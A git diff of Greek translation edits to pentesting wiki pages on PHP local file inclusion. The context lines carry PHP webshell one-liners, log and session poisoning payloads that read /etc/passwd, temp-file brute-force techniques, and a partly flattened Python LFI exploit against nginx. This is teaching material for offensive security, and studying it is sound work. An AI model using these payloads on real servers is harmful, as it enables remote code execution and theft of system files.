> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **λειτουργίας PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
|
||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
|
||||
|
||||
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
|
||||
|
||||
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **λειτουργία PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
|
||||
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **συνάρτηση PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
|
||||
|
||||
Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
|
||||
|
||||
**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο!
|
||||
|
||||
@ -424,15 +424,15 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
### Μέσω αρχείου καταγραφής Apache/Nginx
|
||||
|
||||
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη λειτουργία include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** μια php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο.
|
||||
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για τη shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
|
||||
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
|
||||
>
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά την payload** ή η PHP θα σφάλει κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά την payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
|
||||
Αυτό θα μπορούσε επίσης να γίνει σε άλλες καταγραφές αλλά **προσοχή,** ο κώδικας μέσα στις καταγραφές θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει τη Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στις καταγραφές. Η PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
|
||||
Άλλες πιθανές διαδρομές καταγραφής:
|
||||
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
|
||||
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -488,7 +488,7 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
|
||||
Ρυθμίστε το cookie σε `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
@ -517,7 +517,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
|
||||
Αυτή η [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Μέσω αιώνιας αναμονής + bruteforce
|
||||
|
||||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε να βρείτε ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
|
||||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
|
@ -32,7 +32,7 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||
|
||||
**Ενώ** η **σύνδεση** είναι ακόμα ανοιχτή, ο επιτιθέμενος θα **εκμεταλλευτεί μια LFI φορτώνοντας το προσωρινό αρχείο** που ελέγχει.
|
||||
|
||||
Ωστόσο, υπάρχει ένας έλεγχος στον διακομιστή ιστού που **αποτρέπει τη φόρτωση αρχείων που περιέχουν `<?`**. Επομένως, ο επιτιθέμενος θα εκμεταλλευτεί μια **Race Condition**. Στη σύνδεση που είναι ακόμα ανοιχτή, ο **επιτιθέμενος** θα **στείλει το PHP payload ΜΕΤΑ** που ο **διακομιστής ιστού** έχει **ελέγξει** αν το αρχείο περιέχει τους απαγορευμένους χαρακτήρες αλλά **ΠΡΙΝ φορτώσει το περιεχόμενό του**.
|
||||
Ωστόσο, υπάρχει ένας έλεγχος στον διακομιστή ιστού που **αποτρέπει τη φόρτωση αρχείων που περιέχουν `<?`**. Επομένως, ο επιτιθέμενος θα εκμεταλλευτεί μια **Race Condition**. Στη σύνδεση που είναι ακόμα ανοιχτή, ο **επιτιθέμενος** θα **στείλει το PHP payload ΜΕΤΑ** τον **έλεγχο** του **διακομιστή ιστού** αν το αρχείο περιέχει τους απαγορευμένους χαρακτήρες αλλά **ΠΡΙΝ φορτώσει το περιεχόμενό του**.
|
||||
|
||||
Για περισσότερες πληροφορίες, ελέγξτε την περιγραφή της Race Condition και του CTF στο [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Από προεπιλογή, όταν ένα αρχείο ανεβαίνει σε PHP (ακόμα και αν δεν το περιμένει), θα δημιουργήσει ένα προσωρινό αρχείο στο `/tmp` με όνομα όπως **`php[a-zA-Z0-9]{6}`**, αν και έχω δει μερικές εικόνες docker όπου τα παραγόμενα αρχεία δεν περιέχουν ψηφία.
|
||||
Από προεπιλογή, όταν ένα αρχείο ανεβαίνει σε PHP (ακόμα και αν δεν το περιμένει), θα δημιουργήσει ένα προσωρινό αρχείο στο `/tmp` με ένα όνομα όπως **`php[a-zA-Z0-9]{6}`**, αν και έχω δει μερικές εικόνες docker όπου τα παραγόμενα αρχεία δεν περιέχουν ψηφία.
|
||||
|
||||
Σε μια τοπική συμπερίληψη αρχείου, **αν καταφέρετε να συμπεριλάβετε αυτό το ανεβασμένο αρχείο, θα αποκτήσετε RCE**.
|
||||
|
||||
@ -22,7 +22,7 @@ max_file_uploads = 20
|
||||
|
||||
### Τεχνική αιώνιας αναμονής
|
||||
|
||||
Σε αυτή την τεχνική **χρειαζόμαστε μόνο να ελέγξουμε μια σχετική διαδρομή**. Αν καταφέρουμε να ανεβάσουμε αρχεία και να κάνουμε το **LFI να μην τελειώνει ποτέ**, θα έχουμε "αρκετό χρόνο" για να **brute-force τα ανεβασμένα αρχεία** και να **βρούμε** οποιοδήποτε από αυτά που έχουν ανεβαστεί.
|
||||
Σε αυτή την τεχνική **χρειαζόμαστε μόνο να ελέγξουμε μια σχετική διαδρομή**. Αν καταφέρουμε να ανεβάσουμε αρχεία και να κάνουμε το **LFI να μην τελειώνει ποτέ**, θα έχουμε "αρκετό χρόνο" για να **brute-force τα ανεβασμένα αρχεία** και να **βρούμε** οποιοδήποτε από αυτά που έχουν ανεβεί.
|
||||
|
||||
**Πλεονεκτήματα αυτής της τεχνικής**:
|
||||
|
||||
@ -57,7 +57,7 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
Ας κάνουμε μερικά μαθηματικά:
|
||||
|
||||
- Μπορούμε να χρησιμοποιήσουμε **149 συνδέσεις** για να δημιουργήσουμε **149 \* 20 = 2980 προσωρινά αρχεία** με το webshell μας.
|
||||
- Στη συνέχεια, χρησιμοποιήστε τη **τελευταία σύνδεση** για **brute-force** πιθανά αρχεία.
|
||||
- Στη συνέχεια, χρησιμοποιήστε τη **τελευταία σύνδεση** για **brute-force** πιθανών αρχείων.
|
||||
- Με ταχύτητα **10 αιτήσεων/δευτερόλεπτο** οι χρόνοι είναι:
|
||||
- 56800235584 / 2980 / 10 / 3600 \~= **530 ώρες** (50% πιθανότητα σε 265h)
|
||||
- (χωρίς ψηφία) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% πιθανότητα σε 93h)
|
||||
@ -72,11 +72,11 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
Εάν αντί να χρησιμοποιήσουμε το κανονικό php mod για το apache για να εκτελέσουμε σενάρια PHP, η **ιστοσελίδα χρησιμοποιεί** **PHP-FMP** (αυτό βελτιώνει την αποδοτικότητα της ιστοσελίδας, οπότε είναι κοινό να το βρίσκουμε), υπάρχει κάτι άλλο που μπορεί να γίνει για να βελτιωθεί η τεχνική.
|
||||
|
||||
Το PHP-FMP επιτρέπει να **ρυθμίσουμε** την **παράμετρο** **`request_terminate_timeout`** στο **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
|
||||
Αυτή η παράμετρος υποδεικνύει τη μέγιστη ποσότητα δευτερολέπτων **όταν** **η αίτηση προς PHP πρέπει να τερματιστεί** (άπειρη από προεπιλογή, αλλά **30s αν η παράμετρος είναι αποσχολημένη**). Όταν μια αίτηση επεξεργάζεται από την PHP για τον καθορισμένο αριθμό δευτερολέπτων, **σκοτώνεται**. Αυτό σημαίνει ότι αν η αίτηση ανέβαζε προσωρινά αρχεία, επειδή η **επεξεργασία php σταμάτησε**, αυτά τα **αρχεία δεν θα διαγραφούν**. Επομένως, αν μπορείτε να κάνετε μια αίτηση να διαρκέσει αυτόν τον χρόνο, μπορείτε να **δημιουργήσετε χιλιάδες προσωρινά αρχεία** που δεν θα διαγραφούν, γεγονός που θα **ταχύνη τη διαδικασία εύρεσής τους** και μειώνει την πιθανότητα DoS στην πλατφόρμα καταναλώνοντας όλες τις συνδέσεις.
|
||||
Αυτή η παράμετρος υποδεικνύει τη μέγιστη ποσότητα δευτερολέπτων **όταν** **η αίτηση προς PHP πρέπει να τερματιστεί** (άπειρο από προεπιλογή, αλλά **30s αν η παράμετρος είναι αποσχολημένη**). Όταν μια αίτηση επεξεργάζεται από την PHP για τον υποδεικνυόμενο αριθμό δευτερολέπτων, **σκοτώνεται**. Αυτό σημαίνει ότι αν η αίτηση ανέβαζε προσωρινά αρχεία, επειδή η **επεξεργασία php σταμάτησε**, αυτά τα **αρχεία δεν θα διαγραφούν**. Επομένως, αν μπορείτε να κάνετε μια αίτηση να διαρκέσει αυτόν τον χρόνο, μπορείτε να **δημιουργήσετε χιλιάδες προσωρινά αρχεία** που δεν θα διαγραφούν, γεγονός που θα **ταχύνη τη διαδικασία εύρεσής τους** και μειώνει την πιθανότητα DoS στην πλατφόρμα καταναλώνοντας όλες τις συνδέσεις.
|
||||
|
||||
Έτσι, για να **αποφύγουμε το DoS**, ας υποθέσουμε ότι ένας **επιτιθέμενος θα χρησιμοποιεί μόνο 100 συνδέσεις** ταυτόχρονα και ο μέγιστος χρόνος επεξεργασίας php από **php-fmp** (`request_terminate_timeout`**)** είναι **30s**. Επομένως, ο αριθμός των **προσωρινών αρχείων** που μπορούν να παραχθούν **ανά δευτερόλεπτο** είναι `100*20/30 = 66.67`.
|
||||
Έτσι, για να **αποφύγουμε το DoS**, ας υποθέσουμε ότι ένας **επιτιθέμενος θα χρησιμοποιεί μόνο 100 συνδέσεις** ταυτόχρονα και ο μέγιστος χρόνος επεξεργασίας php από το **php-fmp** (`request_terminate_timeout`**)** είναι **30s**. Επομένως, ο αριθμός των **προσωρινών αρχείων** που μπορούν να παραχθούν **ανά δευτερόλεπτο** είναι `100*20/30 = 66.67`.
|
||||
|
||||
Στη συνέχεια, για να δημιουργήσει **10000 αρχεία**, ένας επιτιθέμενος θα χρειαστεί: **`10000/66.67 = 150s`** (για να δημιουργήσει **100000 αρχεία** ο χρόνος θα είναι **25min**).
|
||||
Στη συνέχεια, για να δημιουργήσει **10000 αρχεία** ένας επιτιθέμενος θα χρειαστεί: **`10000/66.67 = 150s`** (για να δημιουργήσει **100000 αρχεία** ο χρόνος θα είναι **25min**).
|
||||
|
||||
Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτές τις **100 συνδέσεις** για να εκτελέσει μια **αναζήτηση brute-force**. \*\*\*\* Υποθέτοντας ταχύτητα 300 req/s, ο χρόνος που απαιτείται για να εκμεταλλευτεί αυτό είναι ο εξής:
|
||||
|
||||
@ -88,7 +88,7 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι για να ενεργοποιηθεί το timeout, θα ήταν **αρκετό να συμπεριληφθεί η ευάλωτη σελίδα LFI**, ώστε να εισέλθει σε έναν αιώνιο βρόχο συμπερίληψης.
|
||||
> Σημειώστε ότι για να ενεργοποιηθεί το timeout θα ήταν **αρκετό να συμπεριληφθεί η ευάλωτη σελίδα LFI**, ώστε να εισέλθει σε έναν αιώνιο βρόχο συμπερίληψης.
|
||||
|
||||
## Nginx
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
[**Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
- Κώδικας PHP:
|
||||
- Κωδικός PHP:
|
||||
```php
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
@ -16,17 +16,17 @@
|
||||
Ο βρόχος για να δημιουργήσετε αυθαίρετο περιεχόμενο είναι:
|
||||
|
||||
1. προσθέστε `\x1b$)C` στην αρχή της συμβολοσειράς μας όπως περιγράφεται παραπάνω
|
||||
2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του base64-encoded php κώδικα μας
|
||||
3. base64-decode και base64-encode τη συμβολοσειρά που θα αφαιρέσει οποιοδήποτε σκουπίδι ενδιάμεσα
|
||||
2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του κωδικού μας php που είναι κωδικοποιημένος σε base64
|
||||
3. αποκωδικοποιήστε και κωδικοποιήστε ξανά τη συμβολοσειρά που θα αφαιρέσει οποιοδήποτε σκουπίδι ενδιάμεσα
|
||||
4. Επιστρέψτε στο 1 αν η base64 που θέλουμε να κατασκευάσουμε δεν έχει τελειώσει ακόμα
|
||||
5. base64-decode για να αποκτήσουμε τον php κώδικα μας
|
||||
5. αποκωδικοποιήστε σε base64 για να αποκτήσετε τον php κώδικά μας
|
||||
|
||||
> [!WARNING]
|
||||
> **Οι συμπεριλήψεις** συνήθως κάνουν πράγματα όπως **προσθέτοντας ".php" στο τέλος** του αρχείου, κάτι που θα μπορούσε να δυσκολέψει την εκμετάλλευση αυτού γιατί θα χρειαστεί να βρείτε ένα .php αρχείο με περιεχόμενο που δεν σκοτώνει την εκμετάλλευση... ή μπορείτε **απλά να χρησιμοποιήσετε το `php://temp` ως πόρο** γιατί μπορεί **να έχει οτιδήποτε προστεθεί στο όνομα** (π.χ. +".php") και θα επιτρέπει ακόμα την εκμετάλλευση να λειτουργεί!
|
||||
> **Οι συμπεριλήψεις** συνήθως κάνουν πράγματα όπως **να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που θα μπορούσε να δυσκολέψει την εκμετάλλευση αυτού γιατί θα χρειαστεί να βρείτε ένα αρχείο .php με περιεχόμενο που δεν θα καταστρέψει την εκμετάλλευση... ή μπορείτε **απλά να χρησιμοποιήσετε το `php://temp` ως πόρο** γιατί μπορεί **να έχει οτιδήποτε προστεθεί στο όνομα** (π.χ. +".php") και θα επιτρέπει ακόμα την εκμετάλλευση να λειτουργήσει!
|
||||
|
||||
## Πώς να προσθέσετε επίσης επιθήματα στα αποτελέσματα
|
||||
|
||||
[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε ακόμα τα PHP filters για να προσθέσετε επιθήματα στη συμβολοσειρά αποτελέσματος. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια PNG μαγικά bytes)
|
||||
[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε ακόμα τα PHP filters για να προσθέσετε επιθήματα στη συμβολοσειρά αποτελέσματος. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια μαγικά bytes PNG)
|
||||
|
||||
## Αυτόματα Εργαλεία
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
|
||||
Πρέπει να διορθώσετε την εκμετάλλευση (να αλλάξετε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να:
|
||||
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Πρέπει επίσης να αλλάξετε το **payload** στην αρχή της εκμετάλλευσης (για παράδειγμα, για ένα php-rev-shell), το **REQ1** (αυτό θα πρέπει να δείχνει στη σελίδα phpinfo και θα πρέπει να έχει το padding συμπεριλαμβανομένο, δηλαδή: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), και **LFIREQ** (αυτό θα πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Ελέγξτε το διπλό "%" όταν εκμεταλλεύεστε το null char)
|
||||
Πρέπει να αλλάξετε επίσης το **payload** στην αρχή της εκμετάλλευσης (για παράδειγμα, για ένα php-rev-shell), το **REQ1** (αυτό θα πρέπει να δείχνει στη σελίδα phpinfo και θα πρέπει να έχει το padding συμπεριλαμβανομένο, δηλαδή: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), και **LFIREQ** (αυτό θα πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Ελέγξτε το διπλό "%" όταν εκμεταλλεύεστε το null char)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **PHP Ανεβάσματα αρχείων**
|
||||
|
||||
Όταν μια **PHP** μηχανή λαμβάνει ένα **POST αίτημα** που περιέχει αρχεία διαμορφωμένα σύμφωνα με το RFC 1867, δημιουργεί προσωρινά αρχεία για να αποθηκεύσει τα ανεβασμένα δεδομένα. Αυτά τα αρχεία είναι κρίσιμα για την επεξεργασία ανεβάσματος αρχείων σε σενάρια PHP. Η συνάρτηση `move_uploaded_file` πρέπει να χρησιμοποιηθεί για να μετακινήσει αυτά τα προσωρινά αρχεία σε μια επιθυμητή τοποθεσία αν απαιτείται μόνιμη αποθήκευση πέρα από την εκτέλεση του σεναρίου. Μετά την εκτέλεση, η PHP διαγράφει αυτόματα τυχόν υπόλοιπα προσωρινά αρχεία.
|
||||
Όταν μια **PHP** μηχανή λαμβάνει ένα **POST request** που περιέχει αρχεία διαμορφωμένα σύμφωνα με το RFC 1867, δημιουργεί προσωρινά αρχεία για να αποθηκεύσει τα ανεβασμένα δεδομένα. Αυτά τα αρχεία είναι κρίσιμα για την επεξεργασία ανεβάσματος αρχείων σε σενάρια PHP. Η συνάρτηση `move_uploaded_file` πρέπει να χρησιμοποιηθεί για να μετακινήσει αυτά τα προσωρινά αρχεία σε μια επιθυμητή τοποθεσία αν απαιτείται μόνιμη αποθήκευση πέρα από την εκτέλεση του σεναρίου. Μετά την εκτέλεση, η PHP διαγράφει αυτόματα τυχόν υπόλοιπα προσωρινά αρχεία.
|
||||
|
||||
> [!NOTE]
|
||||
> **Ειδοποίηση Ασφαλείας: Οι επιτιθέμενοι, γνωρίζοντας την τοποθεσία των προσωρινών αρχείων, μπορεί να εκμεταλλευτούν μια ευπάθεια Local File Inclusion για να εκτελέσουν κώδικα αποκτώντας πρόσβαση στο αρχείο κατά τη διάρκεια του ανεβάσματος.**
|
||||
@ -17,7 +17,7 @@
|
||||
|
||||
- Η προεπιλεγμένη διαδρομή είναι συνήθως `C:\Windows\Temp`.
|
||||
- Το πρόθεμα είναι συνήθως "php".
|
||||
- Το `<uuuu>` αντιπροσωπεύει μια μοναδική δεκαεξαδική τιμή. Σημαντικό είναι ότι λόγω του περιορισμού της συνάρτησης, χρησιμοποιούνται μόνο τα κατώτερα 16 bits, επιτρέποντας μέγιστο 65,535 μοναδικά ονόματα με σταθερή διαδρομή και πρόθεμα, καθιστώντας εφικτό τον brute force.
|
||||
- Το `<uuuu>` αντιπροσωπεύει μια μοναδική δεκαεξαδική τιμή. Σημαντικό είναι ότι λόγω του περιορισμού της συνάρτησης, χρησιμοποιούνται μόνο τα κατώτερα 16 bits, επιτρέποντας μέγιστο 65,535 μοναδικά ονόματα με σταθερή διαδρομή και πρόθεμα, καθιστώντας εφικτό το brute force.
|
||||
|
||||
Επιπλέον, η διαδικασία εκμετάλλευσης απλοποιείται στα συστήματα Windows. Μια ιδιαιτερότητα στη συνάρτηση `FindFirstFile` επιτρέπει τη χρήση wildcard σε διαδρομές Local File Inclusion (LFI). Αυτό επιτρέπει τη δημιουργία μιας διαδρομής include όπως η παρακάτω για να εντοπιστεί το προσωρινό αρχείο:
|
||||
```
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
|
||||
|
||||
**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια **αποσειριοποίησης** μέσα στον **PHP** κώδικα.
|
||||
**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **ευπάθεια αποσειριοποίησης** μέσα στον **PHP** κώδικα.
|
||||
|
||||
